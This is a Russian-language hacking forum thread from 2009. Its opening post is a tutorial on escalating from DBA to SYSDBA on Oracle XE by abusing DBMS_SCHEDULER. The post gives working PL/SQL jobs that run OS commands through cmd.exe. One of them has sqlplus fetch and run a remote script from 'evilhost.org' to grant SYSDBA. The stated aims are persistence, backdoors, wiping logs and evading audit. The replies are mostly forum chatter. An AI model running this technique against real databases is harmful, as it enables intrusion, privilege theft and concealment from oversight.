Авторские статьи Oracle Hack Часть вторая: Oracle Database, get me sysdba

Discussion in 'Статьи' started by [ DSU ], 7 Dec 2009.

  1. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Думал сделать сию тему частью общей статьи по oracle databse hack но пока нет времени закончить большую статьи по этому буду писать статьи небольшие и позже объединю в общий man Oracle DB hack на русском.
    Дошли таки руки, начнем.
    Мы имеем:
    1. DBA (можно и более мелкие главное чтоб был доступ к java или DBMS_SCHEDULER или ALTER SYSTEM)
    2. Всё написанное тестировалось на Win32 XP SP3 и Oracle XE (у меня нет лицензии на платный Oracle ак тестировать данные скрипты на рабочем сервере я не стал :) Тут мы будем рассматривать пример только с DBMS_SCHEDULER служба OracleJobScheduler%ORACLE_SID% должна быть запущена иначе нечего не выйдет )


    Итак допустим начали мы с иньекции получили dba имеем коннект к listener (это не обязательно если кого интересует как проделать сие не имея доступа к листенеру а просто из скажем union select я объясню отдельно ;)

    Имея dba права мы вполне можем исполнять команды в системе используя DBMS_SCHEDULER это просто

    Code:
    begin
      dbms_scheduler.create_job (
        job_name     =>'tstcmd',
        job_type     =>'executable',
        job_action   =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt',
        enabled      => false,
        auto_drop    => true
    );
    commit;
    end;
    /
    exec dbms_scheduler.enable('tstcmd')
    
    

    Думаю данный скрипт не стоит расписывать всё просто просто кратко приведу

    job_name =>'tstcmd', --Имя задачи
    job_type =>'executable', --тип задачи
    job_action =>'c:\windows\system32\cmd.exe /c echo 123 > c:\123.txt', --Сама задача :)
    enabled => false, --Активна или нет
    auto_drop => true --стереть ли иё после выполнения (
    Нам надо бы убрать хотя при желании можно задать интервал иё выполнения используя repeat_interval=> 'FREQ=SECONDLY;INTERVAL=время в секундах'

    То есть это так сказать Oracle Cron :)

    Ну вот а теперь представим ситуацию есть у нас dba есть возможность запускать системные команды,
    по дефолту команды в win32 запускаются от local_system а в *nix от пользователя oracle но по опыту скажу что даже в win32 принято после установки сразу же редактить конфиги и запускать тоже от Oracle пользователя,
    но нам скажем надо данную БД протроянить скажем просто надо бы удержать там права как можно дольше, имея dba это можно проделать но не столь эффективно как при sysdba
    если ведется аудит то проникнувший персона весьма быстро будет обнаружена вместе со своим трояном, бэкдуром называется как хотите.

    ну так вот для того чтоб нам очистить таблицы с логами повесить пару триггеров, процедур или скажем добавить в стандартный пакет какую нить весьма нужную функцию/процедуру
    которая будет выполнятся от sys нам нужны sysdba права.
    Меньше слов больше кода.

    Code:
    begin
      dbms_scheduler.create_job (
      1.  job_name     =>'assysdba',
      2.  job_type     =>'executable',
      3.  job_action   =>'c:\windows\system32\cmd.exe /c sqlplus / as sysdba @http://evilhost.org/getsysdba.sql',
      4.  enabled      => false,
      5.  auto_drop    => true
    );
    commit;
    end;
    /
    exec dbms_scheduler.enable('assysdba')
    


    А теперь разберем код
    1. создаем задачу с именем (может быть любым)
    2. объявляем тип задачи в нашем случае executable (вариации имеются но нам они пока не нужны...)
    3. Вот тут самое интересное, sqlplus по умолчанию позволяет подключатся как sysdba без логина/пароля если это происходит с локальной системы!
    sqlplus / as sysdba @http://evilhost.org/getsysdba.sql -- подключились к бд как sysdba дали файл на исполнение ! знак @ позволяет сразу объявлять какой sql скрипт выполнить
    Если указать просто @filename.sql то sqlplus будет в oracle_home и в своей bin папке искать скрипт но sqlplus умеет загружать файлы с сети...
    Если Бд находится на машине на которой нет доступа в нэт то можно либо на сетевую залить либо записать на диск опять же использую DBMS_SCHEDULER или java это просто думаю нет смысла разжевывать.
    4. активна/неактивна
    5. выполнить один раз и стереть задачу.

    Файл sql может быть любым но желательно включить в конец файла exit; чтоб после его выполнения sqlplus закрыл сессию.

    Пример :

    Code:
    grant sysdba to tsst;
    exit;
    

    Заключение:
    Имея dba можно получить sysdba это конечно связано с некоторыми "если" но как показывает практика в большинстве случаев эти "если" имеют место быть.
    Данной статьей я хотел показать что Oracle можно не только взломать но и гораздо больше получив sysdba устранить логирование и обойти некоторые системы аудита.
    Логвайпер и сам бэкдур я выкладывать не стал так как писать такое не сложно нужно просто знать, где что у oracle находится :)
    Плюс на ачате не очень популярна эта бд а кидать попросту в некуда нет смысла кому надо разберется а кто не сможет спросит :)

    P.S сорри за мой русский, язык не родной.

    (с) 2009 by dsu from Ukrainian Security Community
     
    #1 [ DSU ], 7 Dec 2009
    Last edited: 8 Dec 2009
    10 people like this.
  2. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    402
    Likes Received:
    118
    Reputations:
    23
    судя по всему, человек знает о чем пишет, но можно было бы и немножко попроще рассказать.
    лично я ничего толком не понил, но это наверное, скорее мое невежество в oracl'e
     
  3. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Да сорри, писал быстро на коленке одновременно тестируя всё... использовал термины к которым привык. Спасибо за совет в большой статье пожалуй буду более просто и детально всё объяснять :)
     
  4. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Нет, то есть "наматерился"? Если что-то не понимаешь спроси или прочитай офф. доки к Oracle (http://www.oracle.com/technology/documentation/index.html) а вот писать не нужные не несущие не какого смысла комментарии не стоит.
     
  5. lisa99

    lisa99 Banned

    Joined:
    15 Jul 2008
    Messages:
    359
    Likes Received:
    200
    Reputations:
    70
    тогда по делу.
    [ DSU ]
    Пиши медленней и внятней =) т.е. тщательнее.
    С точками, запятыми, без опечаток типа "oracle databse hack", etc.
    Эта инфа никому не горит. Зато всем будет приятней оценить твои труды.
    Спасибо за начало.

    Ждем-с.
     
  6. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88

    Это не начало кстати... А вот русским проблемы, язык не родной даже алфавиты разные я учил латинский в школе. А так постараюсь. :)
     
  7. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    Супер!) Интересненько почитать. Знающий человек
     
  8. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Провел тесты в 11 версии оракла как не жаль но это не пройдет, там надо по другому действовать.
    Статья если и будет про 11 версию то на uasc блоге.
     
    1 person likes this.